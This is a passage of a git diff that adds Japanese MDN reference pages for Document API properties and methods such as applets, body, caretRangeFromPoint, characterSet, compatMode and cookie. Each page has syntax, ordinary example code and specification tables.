href="/ja/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS アニメーションの使用</a></li> + <li>{{domxref("AnimationEvent")}}</li> + <li>関連イベント: {{domxref("Document/animationend_event", "animationend")}}, {{domxref("Document/animationiteration_event", "animationiteration")}}, {{domxref("Document/animationcancel_event", "animationcancel")}}</li> + <li>{{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/animationstart_event", "animationstart")}}</li> + <li>{{domxref("HTMLElement")}} を対象としたこのイベント: {{domxref("HTMLElement/animationstart_event", "animationstart")}}</li> +</ul> diff --git a/files/ja/web/api/document/applets/index.html b/files/ja/web/api/document/applets/index.html new file mode 100644 index 0000000000..744a5c723f --- /dev/null +++ b/files/ja/web/api/document/applets/index.html @@ -0,0 +1,66 @@ +--- +title: Document.applets +slug: Web/API/Document/applets +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference + - applets + - プロパティ +translation_of: Web/API/Document/applets +--- +<div>{{APIRef("DOM")}}{{deprecated_header}}</div> + +<p>{{domxref("Document")}} インターフェイスの <strong><code>applets</code></strong> プロパティは、文書内のアプレットのリストを返します。</p> + +<div class="note"> +<p><strong>メモ</strong>: {{htmlelement("applet")}} 要素は <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a> および <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">2015年後期の Chrome</a> から削除されました。それ以来、これらのブラウザーで <code>document.applets</code> を呼び出しても空の {{domxref("HTMLCollection")}} しか返しません。 <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a> および <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a> でも削除が検討されています。</p> +</div> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>nodeList</var> = <var>document</var>.applets; +</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>{{domxref("HTMLCollection")}}</p> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js">// 2番目のアプレットが取得したいアプレットであると分かっている場合 +my_java_app = document.applets[1]; +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-applets', 'Document.applets')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td>廃止</td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-85113862', 'Document.applets')}}</td> + <td>{{ Spec2('DOM2 Events') }}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.applets")}}</p> diff --git a/files/ja/web/api/document/async/index.html b/files/ja/web/api/document/async/index.html new file mode 100644 index 0000000000..00d0b0724c --- /dev/null +++ b/files/ja/web/api/document/async/index.html @@ -0,0 +1,45 @@ +--- +title: XMLDocument.async +slug: Web/API/Document/async +tags: + - API + - DOM + - DOM Reference + - Deprecated + - Document + - Non-standard + - Property + - Reference + - async +translation_of: Web/API/XMLDocument/async +--- +<p>{{APIRef("DOM")}}{{Non-standard_header}}{{Deprecated_header}}</p> + +<p><code>document.async</code> は、 {{DOMxRef("XMLDocument.load()")}} の呼び出しを同期で行うか、または非同期で行うかの指示を真偽値で設定します。 <code>true</code> が初期値であり、これは文書を非同期的に読み込むよう要求するものです。</p> + +<p>(1.4 アルファから、同期的に文書を読み込めるようになりました。)</p> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js; notranslate">function loadXMLData(e) { + alert(new XMLSerializer().serializeToString(e.target)); // querydata.xml の内容を文字列として取得 +} + +var xmlDoc = document.implementation.createDocument("", "test", null); + +xmlDoc.async = false; +xmlDoc.onload = loadXMLData; +xmlDoc.load('querydata.xml');</pre> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.XMLDocument.async")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/XML_in_Mozilla" title="XML_in_Mozilla">XML in Mozilla</a></li> + <li>{{DOMxRef("XMLDocument.load()")}}</li> +</ul> diff --git a/files/ja/web/api/document/bgcolor/index.html b/files/ja/web/api/document/bgcolor/index.html new file mode 100644 index 0000000000..e1c9603ef9 --- /dev/null +++ b/files/ja/web/api/document/bgcolor/index.html @@ -0,0 +1,46 @@ +--- +title: document.bgColor +slug: Web/API/Document/bgColor +tags: + - API + - DOM + - Deprecated + - Document + - Gecko + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/bgColor +--- +<p>{{APIRef("DOM")}} {{ Deprecated_header() }}</p> + +<p>廃止された <code>bgColor</code> プロパティは、現在の文書の背景色を取得または設定します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><em>color</em> = document.bgColor +document.bgColor =<em>color</em> +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<ul> + <li><code>color</code> : 色名 (<code>"white"</code> 等) またはカラーコード (<code>"#FFFFFF"</code> 等) の文字列</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="eval">document.bgColor = "darkblue"; +</pre> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p>Firefox ではこのプロパティの初期値は白 (16進表記で <code>#FFFFFF</code>) となっています。</p> + +<p><code>document.bgColor</code> は <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML</a> で非推奨になっています。推奨される代替方法は、 CSS の {{Cssxref("background-color")}} を使用することで、 <code>document.body.style.backgroundColor</code> で DOM を通してアクセスできます。もう一つの代替手段である <code>document.body.bgColor</code> は、 HTML 4.01 で CSS に代替されたため非推奨となっています。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<p class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</p> + +<p>{{Compat("api.Document.bgColor")}}</p> diff --git a/files/ja/web/api/document/body/index.html b/files/ja/web/api/document/body/index.html new file mode 100644 index 0000000000..055e65e7a1 --- /dev/null +++ b/files/ja/web/api/document/body/index.html @@ -0,0 +1,90 @@ +--- +title: Document.body +slug: Web/API/Document/body +tags: + - API + - BODY + - Document + - HTML DOM + - Property + - Reference + - プロパティ +translation_of: Web/API/Document/body +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>Document.body</code></strong> プロパティは、その文書の {{HTMLElement("body")}} または {{HTMLElement("frameset")}} ノードを表し、そのような要素がなければ <code>null</code> になります。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>objRef</var> = document.body; +document.body = <var>objRef</var>;</pre> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js">// Given this HTML: <body id="oldBodyElement"></body> +alert(document.body.id); // "oldBodyElement" + +var aNewBodyElement = document.createElement("body"); + +aNewBodyElement.id = "newBodyElement"; +document.body = aNewBodyElement; +alert(document.body.id); // "newBodyElement" +</pre> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p><code>document.body</code> は文書の内容を持つ要素です。 <code><body></code> の内容を持つ文書では <code><body></code> 要素を返し、フレームセット文書では、これは最も外側の <code><frameset></code> 要素を返します。</p> + +<p><code>body</code> は設定が可能ですが、文書に新しい <code>body</code> を設定すると、既存の <code><body></code> 要素の子ノードは全て削除されます。</p> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<table class="spectable standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML','html.html#ID-56360201','Document.body')}}</td> + <td>{{Spec2('DOM2 HTML')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('DOM1','level-one-html.html#attribute-body','Document.body')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.body")}}</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("document.head")}}</li> +</ul> diff --git a/files/ja/web/api/document/caretrangefrompoint/index.html b/files/ja/web/api/document/caretrangefrompoint/index.html new file mode 100644 index 0000000000..71b96fa68a --- /dev/null +++ b/files/ja/web/api/document/caretrangefrompoint/index.html @@ -0,0 +1,90 @@ +--- +title: Document.caretRangeFromPoint() +slug: Web/API/Document/caretRangeFromPoint +tags: + - API + - CSSOM View + - DOM + - Document + - Non-standard + - Reference + - caretRangeFromPoint + - メソッド +translation_of: Web/API/Document/caretRangeFromPoint +--- +<div>{{APIRef("DOM")}}{{Non-standard_header}}</div> + +<p>{{domxref("Document")}} インターフェイスの <strong><code>caretRangeFromPoint()</code></strong> メソッドは、指定された座標にある文書フラグメントの {{domxref("Range")}} オブジェクトを返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>range</var> = <var>document</var>.caretRangeFromPoint(float <var>x</var>, float <var>y</var>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><var>x</var></dt> + <dd>現在のビューポート内での水平位置。</dd> + <dt><var>y</var></dt> + <dd>現在のビューポート内での垂直位置。</dd> +</dl> + +<h3 id="Returns" name="Returns">返値</h3> + +<p>以下のうちの一つです。</p> + +<ul> + <li>{{domxref("Range")}}</li> + <li><code>Null</code> (<var>x</var> または <var>y</var> が負の数、ビューポート外、テキスト入力ノードがない場合)</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<p>基本的なデモ: 段落内をクリックすると、キャレットの位置に改行を挿入します。</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><p>Lorem ipsum dolor sit amet, consetetur sadipscing elitr, +sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, +sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. +Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.</p></pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">function insertBreakAtPoint(e) { + let range; + let textNode; + let offset; + + if (document.caretPositionFromPoint) { + range = document.caretPositionFromPoint(e.clientX, e.clientY); + textNode = range.offsetNode; + offset = range.offset; + } else if (document.caretRangeFromPoint) { + range = document.caretRangeFromPoint(e.clientX, e.clientY); + textNode = range.startContainer; + offset = range.startOffset; + } + // Only split TEXT_NODEs + if (textNode && textNode.nodeType == 3) { + let replacement = textNode.splitText(offset); + let br = document.createElement('br'); + textNode.parentNode.insertBefore(br, replacement); + } +} + +let paragraphs = document.getElementsByTagName("p"); +for (let i = 0; i < paragraphs.length; i++) { + paragraphs[i].addEventListener('click', insertBreakAtPoint, false); +}</pre> + +<h3 id="Result" name="Result">結果</h3> + +<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/API/Document/caretRangeFromPoint') }}</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.caretRangeFromPoint")}}</p> diff --git a/files/ja/web/api/document/characterset/index.html b/files/ja/web/api/document/characterset/index.html new file mode 100644 index 0000000000..16de3e28dd --- /dev/null +++ b/files/ja/web/api/document/characterset/index.html @@ -0,0 +1,61 @@ +--- +title: document.characterSet +slug: Web/API/Document/characterSet +tags: + - API + - DOM + - Document + - Property + - Read-only + - Reference +translation_of: Web/API/Document/characterSet +--- +<p>{{ApiRef("DOM")}}</p> + +<h2 id="Summary" name="Summary">概要</h2> + +<p>読み取り専用の <code><strong>Document.characterSet</strong></code> プロパティは、文書の<a href="/ja/docs/Glossary/character_encoding">文字エンコーディング</a>を表す文字列を返します。(文字エンコーディングは文字セットであり、入力されたバイト列をどのように文字として解釈するか規定します。)</p> + +<div class="note"> +<p>「文字セット」と「文字エンコーディング」は似ていますが違うものです。プロパティ名に反してエンコーディングを返します。</p> +</div> + +<p><a href="/ja/docs/Web/HTTP/Headers/Content-Type">Content-Type</a> ヘッダーや <code><meta charset="utf-8"></code>によって開発者が指定した文字エンコーディングはユーザーが上書きできます。例えばFirefoxでは <kbd>表示 → テキストエンコーディング</kbd> メニューから可能です。このような上書き手段は開発者が誤って指定したエンコーディングによって<a href="https://ja.wikipedia.org/wiki/%E6%96%87%E5%AD%97%E5%8C%96%E3%81%91">文字化け</a>を引き起こされたときに治すために提供されています。</p> + +<div class="note"> +<p>プロパティ <code>document.charset</code> 及び <code>document.inputEncoding</code> は、<code>document.characterSet</code> への旧来のエイリアスです。これらは使用しないでください。</p> +</div> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <em>string</em> = document.characterSet</pre> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:html notranslate"><button onclick="console.log(document.characterSet);"> + Log character encoding +</button> +// "ISO-8859-1" や "UTF-8" など、文書の文字セットが開発者コンソールに表示されます</pre> + +<h2 id="Specifications" name="Specifications">仕様</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>仕様書</th> + <th>策定状況</th> + <th>コメント</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-characterset', 'characterSet')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>最初期の定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザ実装状況</h2> + + + +<p>{{Compat("api.Document.characterSet")}}</p> diff --git a/files/ja/web/api/document/clear/index.html b/files/ja/web/api/document/clear/index.html new file mode 100644 index 0000000000..e1215f9569 --- /dev/null +++ b/files/ja/web/api/document/clear/index.html @@ -0,0 +1,33 @@ +--- +title: Document.clear() +slug: Web/API/Document/clear +tags: + - DOM + - DOM_0 + - Document + - Gecko + - HTML5 +translation_of: Web/API/Document/clear +--- +<div>{{APIRef("DOM")}}{{ Deprecated_header() }}</div> + +<p><code><strong>Document.clear()</strong></code> メソッドは指定された文書全体を消去するもので、初期 (1.0 以前) の Mozilla アプリケーションにありました。</p> + +<p>近年のバージョンの Mozilla ベースアプリケーションでも、 Internet Explorer や Netscape 4 でも、このメソッドは何も行いません。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">document.clear(); +</pre> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<ul> + <li><a href="http://www.whatwg.org/html/#dom-document-clear" title="http://www.whatwg.org/html/#dom-document-clear">HTML5</a></li> +</ul> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.clear")}}</div> diff --git a/files/ja/web/api/document/close/index.html b/files/ja/web/api/document/close/index.html new file mode 100644 index 0000000000..c626a6fb8e --- /dev/null +++ b/files/ja/web/api/document/close/index.html @@ -0,0 +1,62 @@ +--- +title: Document.close() +slug: Web/API/Document/close +tags: + - API + - Document + - HTML DOM + - Method + - Reference + - メソッド +translation_of: Web/API/Document/close +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>Document.close()</code></strong> メソッドは、 {{domxref("Document.open()")}} で開かれた文書への書き込みを終了します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">document.close(); +</pre> + +<h2 id="Example" name="Example">例</h2> + +<pre>// 書きこむ文書を開きます。 +document.open(); + +// 文書の内容を書き込みます。 +document.write("<p>たったひとつの内容。</p>"); + +// 文書を閉じます。 +document.close(); +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#dom-document-close", "document.close()")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-98948567", "document.close()")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.close")}}</div> diff --git a/files/ja/web/api/document/compatmode/index.html b/files/ja/web/api/document/compatmode/index.html new file mode 100644 index 0000000000..a5b29c7712 --- /dev/null +++ b/files/ja/web/api/document/compatmode/index.html @@ -0,0 +1,64 @@ +--- +title: Document.compatMode +slug: Web/API/Document/compatMode +tags: + - API + - DOM + - Document + - Property + - Reference +translation_of: Web/API/Document/compatMode +--- +<div>{{ ApiRef("DOM") }}</div> + +<p><code><strong>Document.compatMode</strong></code> プロパティは、文書が <a href="/ja/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Quirks モード</a> (互換モード) か標準準拠モードのどちらで表示されているかを示します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">const <var>mode</var> = <var>document</var>.compatMode +</pre> + +<h3 id="Values" name="Values">値</h3> + +<p>列挙値で、次の値を取ります。</p> + +<ul> + <li>"<code>BackCompat</code>" 文書が互換モードの場合。</li> + <li>"<code>CSS1Compat</code>" 文書が互換モードでない ("standards" モードとも呼ばれる) または限定互換モード ("almost standards" モードとも呼ばれる) 場合。</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>注:</strong> これらのモードはすべて標準で定義されましたので、より古い "standards" および "almost standards" の名前は無意味であり、もう標準では使用されません。</p> +</div> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js notranslate">if (document.compatMode == "BackCompat") { + // 互換モード +} +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-compatmode','compatMode')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.compatMode")}}</p> diff --git a/files/ja/web/api/document/contenttype/index.html b/files/ja/web/api/document/contenttype/index.html new file mode 100644 index 0000000000..6d71f41779 --- /dev/null +++ b/files/ja/web/api/document/contenttype/index.html @@ -0,0 +1,56 @@ +--- +title: Document.contentType +slug: Web/API/Document/contentType +tags: + - API + - DOM + - Document + - MIME + - Read-only + - Reference + - contentType + - プロパティ + - 読み取り専用 +translation_of: Web/API/Document/contentType +--- +<div>{{APIRef}}</div> + +<p><code><strong>Document.contentType</strong></code> プロパティは読み取り専用で、文書がレンダリングされる MIME タイプを返します。これは HTTP ヘッダーやその他の MIME 情報のソースから来る可能性があり、ブラウザーや拡張機能によって行われる自動型変換の影響を受ける可能性があります。</p> + +<div class="blockIndicator note"> +<p><strong>メモ:</strong> このプロパティは {{HTMLElement("meta")}} 要素には影響されません。</p> +</div> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>contentType</var> = <var>document</var>.contentType; +</pre> + +<h3 id="Value" name="Value">値</h3> + +<p><code>contentType</code> は読み取り専用のプロパティです。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-contenttype', 'Document.contentType')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.contentType")}}</div> diff --git a/files/ja/web/api/document/cookie/index.html b/files/ja/web/api/document/cookie/index.html new file mode 100644 index 0000000000..d643ccc2f1 --- /dev/null +++ b/files/ja/web/api/document/cookie/index.html @@ -0,0 +1,251 @@ +--- +title: Document.cookie +slug: Web/API/Document/cookie +tags: + - API + - Document + - HTML DOM + - JS + - Reference + - cookie + - クッキー + - ストレージ +translation_of: Web/API/Document/cookie +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary">{{domxref("Document")}} の <code>cookie</code> プロパティで、文書に関連付けられた<a href="/ja/docs/Web/HTTP/Cookies">クッキー</a>を読み書きすることができます。これは実際のクッキーの値に対するゲッターとセッターとして動作します。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<h3 id="Read_all_cookies_accessible_from_this_location" name="Read_all_cookies_accessible_from_this_location">この場所からアクセスできるすべてのクッキーを読む</h3> + +<pre class="syntaxbox notranslate"><var>allCookies</var> = <var>document</var>.cookie;</pre> + +<p>上記のコードで <code><var>allCookies</var></code> は、セミコロンで区切られたクッキーのリストです (つまり <code><var>key</var>=<var>value</var></code> のペア)。なお、それぞれの <code><var>key</var></code> および <code><var>value</var></code> の周囲にはホワイトスペース (空白やタブ文字) をおくことができます。実際のところ、 {{RFC(6265)}} ではそれぞれのセミコロンの後に空白1文字を入れることを必須としていますが、一部のユーザーエージェントはこれに従っていません。</p> + +<h3 id="Write_a_new_cookie" name="Write_a_new_cookie">新しいクッキーを書き込む</h3> + +<pre class="syntaxbox notranslate" id="new-cookie_syntax"><var>document</var>.cookie = <var>newCookie</var>;</pre> + +<p>上記のコードで、 <code>newCookie</code> は <code><var>key</var>=<var>value</var></code> の形式の文字列です。なお、この方法を使用して一度に設定・更新できるクッキーは、一つだけです。</p> + +<ul> + <li>オプションとして次に挙げる値を設定することができます。 key と value のペアの後にセミコロンで区切って設定することで、クッキーを設定・更新することができます。 + <ul> + <li id="new-cookie_path"> + <div><code>;path=<var>パス</var></code> (例えば、 '<code>/</code>' 、 '<code>/mydir</code>') 指定されない場合は、既定で現在の文書の位置のパスになります。</div> + + <div class="note"><strong>メモ:</strong> {{Gecko("6.0")}} 以前では、引用符付きのパスは引用符が文字列を囲む区切り文字ではなく、文字列の一部であるかのように扱われます。これはすでに修正されています。</div> + </li> + <li id="new-cookie_domain"><code>;domain=<var>ドメイン</var></code> (例えば、 '<code>example.com</code>' または '<code>subdomain.example.com</code>')。指定されていない場合は、既定で現在の文書の位置のホストの部分になります。初期の仕様とは対照的に、ドメイン名の前のドットは無視されますが、ブラウザーはその様なドットを含むクッキーの設定を辞退することができます。ドメインが設定されれば、サブドメインも常に含まれます。 + <div class="note"><strong>メモ:</strong> ドメインは JavaScript のオリジンと一致している<em>必要があります</em>。外部ドメインへのクッキーの設定は暗黙に無視されます。</div> + </li> + <li id="new-cookie_max-age"><code>;max-age=<var>寿命 (秒数)</var></code> (例えば、1年であれば <code>60*60*24*365</code> または 31536000)</li> + <li id="new-cookie_expires"><code>;expires=<var>GMTString 形式の日付</var></code> もし <code>expires</code> も <code>max-age</code> も指定しなければ、有効期限はセッションの終了までになります。 + <div class="warning"> + <p>ユーザーのプライバシーを考慮するのであれば、ブラウザーの有効期限の管理に頼るのではなく、ウェブアプリの実装で指定した期間の経過後にクッキーを無効化することが重要です。多くのブラウザーはユーザーがクッキーを無期限に設定することができますが、これは安全ではありません。</p> + </div> + + <ul> + <li>値の形式について知りたい方は、 {{jsxref("Date.toUTCString()")}} をご覧ください。</li> + </ul> + </li> + <li id="new-cookie_secure"><code>;secure</code> https の通信を使用しているときだけ、クッキーが送信されます。 Chrome 52 以前では、このフラグは http ドメインからのクッキーに設定することができました。</li> + <li id="new-cookie_samesite"><code>;samesite</code> <a href="/ja/docs/Web/HTTP/Cookies#SameSite_cookies">SameSite</a> はブラウザーがこのクッキーをサイト間リクエストで送信することを防ぎます。フラグに利用可能な値は <code>lax</code> または <code>strict</code> です。 + <ul> + <li><code>strict</code> の値は、通常のリンクを追う場合を含め、ブラウザーがすべてのサイト間閲覧コンテキストの対象サイトに向けてクッキーを送信することを防ぎます。</li> + <li><code>lax</code> の値は、トップレベルナビゲーションで GET リクエストの場合のみ、クッキーを送信します。これはユーザーのトラッキングに効率的でありながら、多くの CSRF 攻撃を防ぐことができます。</li> + </ul> + </li> + </ul> + </li> + <li>クッキーの値の文字列に {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} を使用すると、文字列に (クッキーの値で許可されない) コンマ、セミコロン、ホワイトスペースを使用していないことを確認できます。</li> + <li>ユーザーエージェントの実装によっては、以下のクッキーの接頭辞に対応しています。 + <ul> + <li><code>__Secure-</code> ブラウザーに、セキュアなチャネルを通してリクエストが送信された場合にのみクッキーを含めるよう指示します。</li> + <li><code>__Host-</code> ブラウザーに、安全なオリジンからのクッキーのみを使用することに加え、クッキーのスコープをサーバーから渡された path 属性に限定します。サーバーが path 属性を省略した場合は、要求の URI の「ディレクトリ」が使用されます。これは、クッキーが他のドメインに送出されることを防ぐために、 domain 属性が存在してはいけないことも指示します。 Chrome では、 path 属性は常にオリジンになります。</li> + </ul> + + <div class="note">ダッシュは接頭辞の一部とみなされます。</div> + + <div class="note">これらのフラグは <code>secure</code> 属性と一緒の場合のみ設定できます。</div> + </li> +</ul> + +<div class="note"><strong>メモ:</strong> 上記のコードに見られるように、 <code>document.cookie</code> はネイティブの<em>セッター</em>及び<em>ゲッター</em>を持つ<a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">アクセサープロパティ</a>であり、値を持つ <a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">データプロパティ</a>では<em>ありません</em>。書き込んだものと読みこんだものは同じにはならず、常に JavaScript インタープリターに仲介されます。</div> + +<h2 id="Example" name="Example">例</h2> + +<h3 id="Example_1_Simple_usage" name="Example_1_Simple_usage">例 1: 単純な使用方法</h3> + +<pre class="brush: js notranslate">document.cookie = "name=oeschger"; +document.cookie = "favorite_food=tripe"; +function alertCookie() { + alert(document.cookie); +} +</pre> + +<pre class="brush: html notranslate"><button onclick="alertCookie()">Show cookies</button> +</pre> + +<p>{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}</p> + +<h3 id="Example_2_Get_a_sample_cookie_named_test2" name="Example_2_Get_a_sample_cookie_named_test2">例 2: <em>test2</em> という名前のサンプルクッキーを取得</h3> + +<pre class="brush: js notranslate">document.cookie = "test1=Hello"; +document.cookie = "test2=World"; + +const cookieValue = document.cookie + .split('; ') + .find(row => row.startsWith('test2')) + .split('=')[1]; + +function alertCookieValue() { + alert(cookieValue); +} +</pre> + +<pre class="brush: html notranslate"><button onclick="alertCookieValue()">Show cookie value</button></pre> + +<p>{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}</p> + +<h3 id="Example_3_Do_something_only_once" name="Example_3_Do_something_only_once">例 3: 一度だけ何かを行う</h3> + +<p>以下のコードを使用するためには、すべての <code>doSomethingOnlyOnce</code> の語 (クッキーの名前) が現れるところを専用の名前に置き換えてください。</p> + +<pre class="brush: js notranslate">function doOnce() { + if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { + alert("Do something here!"); + document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; + } +}</pre> 